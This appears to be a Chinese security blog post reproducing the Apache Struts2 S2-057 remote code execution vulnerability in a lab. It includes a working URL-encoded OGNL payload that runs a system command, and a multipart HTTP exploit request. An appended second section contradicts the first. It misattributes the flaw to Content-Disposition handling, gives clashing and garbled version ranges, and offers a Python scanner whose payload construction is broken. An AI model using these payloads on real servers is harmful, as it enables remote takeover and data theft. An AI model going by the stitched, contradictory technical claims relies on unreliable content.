网站漏洞之apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现

S2-057漏洞于2018年8月22日被曝出,存在远程执行命令风险,尤其对Linux系统、Apache环境下网站构成威胁。此漏洞允许攻击者通过XML配置文件的namespace值注入代码,执行任意命令。受影响版本包括Apache Struts 2.3至2.3.34及2.5至2.5.16。官方已发布补丁,建议升级至最新版本。

S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。

目前我们SINE安全对该S2-057漏洞的测试,发现受影响的版本是Apache Struts 2.3–ApacheStruts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已经紧急的对该S2-057漏洞进行了修复。

通过国外曝出来的漏洞poc,我们来介绍下Struts2漏洞该如何的利用:

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去。

3_1

我们首先来搭建下struts2的环境,找一台windows服务器,使用一键部署工具部署好测试环境,vulhub环境也搭建好如下图:
1

接下来就是Struts2漏洞的利用与复现过程:
2

访问网站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action
将${(sine+sine)}里的内容换成exp,EXP内容如下:

%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action

复制exp内容到浏览器执行,发现服务器会直接运行计算器如下图:
3
S2-057漏洞修复建议:

升级到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升级即可官方已经做好漏洞补丁,完全兼容。

### Struts2 S2-057 漏洞概述 Struts2 的 S2-057 漏洞主要源于其对多部分请求(multipart requests)处理不当,允许攻击者通过构造恶意的 Content-Disposition 头部来触发 OGNL 表达式的执行[^2]。此漏洞可能导致远程代码执行 (RCE),从而让攻击者完全控制目标服务器。 --- ### S2-057 漏洞复现环境准备 为了成功复现漏洞,需搭建如下测试环境: #### 1. **依赖组件** - Apache Struts2 版本:受影响版本为 2.3.x 前缀至 2.3.322.5.x 前缀至 2.5.10。 - Java 运行时环境 (JRE/JDK):建议使用 JDK 8 或更低版本以匹配当时的开发环境- Web 容器:Tomcat 是常用的容器之一。 #### 2. **配置文件调整** 确保 `struts.xml` 文件中启用了文件上传功能的相关设置: ```xml <interceptors> <interceptor-stack name="fileUploadStack"> <interceptor-ref name="defaultStack"/> <interceptor-ref name="fileUpload"/> </interceptor-stack> </interceptors> <action name="upload" class="com.example.UploadAction"> <interceptor-ref name="fileUploadStack"/> <result>/success.jsp</result> </action> ``` 上述配置表明应用支持文件上传操作,并可能暴露潜在风险。 --- ### S2-057 测试方法 以下是针对 S2-057 漏洞的具体测试流程: #### 1. 构造 HTTP 请求包 利用工具如 Burp Suite 发送自定义 POST 请求,其中包含恶意的 Content-Disposition 参数。例如: ```http POST /struts2-showcase/fileupload/upload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: multipart/form-data; boundary=---------------------------243620506915724 Content-Length: 253 -----------------------------243620506915724 Content-Disposition: form-data; name="foo"; filename="${@java.lang.Runtime@getRuntime().exec('calc')}" Content-Type: application/octet-stream test -----------------------------243620506915724-- ``` 在此示例中,`${}` 结构被用于嵌入 OGNL 表达式,尝试调用系统命令 `calc.exe` 来验证 RCE 能力。 #### 2. 验证漏洞效果 如果存在漏洞,则会观察到以下现象之一: - Windows 平台上弹出计算器窗口; - Linux/MacOS 上运行指定脚本或程序。 这证明了攻击者能够成功执行任意代码。 --- ### 编写自动化检测脚本 可以编写 Python 脚本来批量扫描是否存在此类漏洞。下面是一个简单的 PoC 实现: ```python import requests def test_s2_057(url, command='whoami'): headers = { 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary' } data = f'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="foo"; filename="${{{"@".join(["@java", "lang", "Runtime@", "getRuntime()", ".exec(", repr(command), ")"])}}}"\r\nContent-Type: application/octet-stream\r\n\r\ntest\r\n------WebKitFormBoundary--' try: response = requests.post(url, headers=headers, data=data, timeout=10) if response.status_code == 200 and ('error' not in response.text.lower()): print(f"[+] Potential vulnerability detected at {url}") else: print(f"[-] No vulnerability found or error occurred.") except Exception as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": target_url = input("Enter the URL to test: ").strip() test_s2_057(target_url) ``` 以上代码片段发送了一个带有特殊 payload 的 POST 请求给目标地址并解析响应结果判断是否有异常行为发生。 --- ### 总结 通过对 Struts2 S2-057 漏洞的学习可知,它属于典型的因输入校验不足引发的安全隐患案例。因此,在实际项目开发过程中应严格遵循最小权限原则以及充分的数据清洗机制防止类似问题再次出现。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值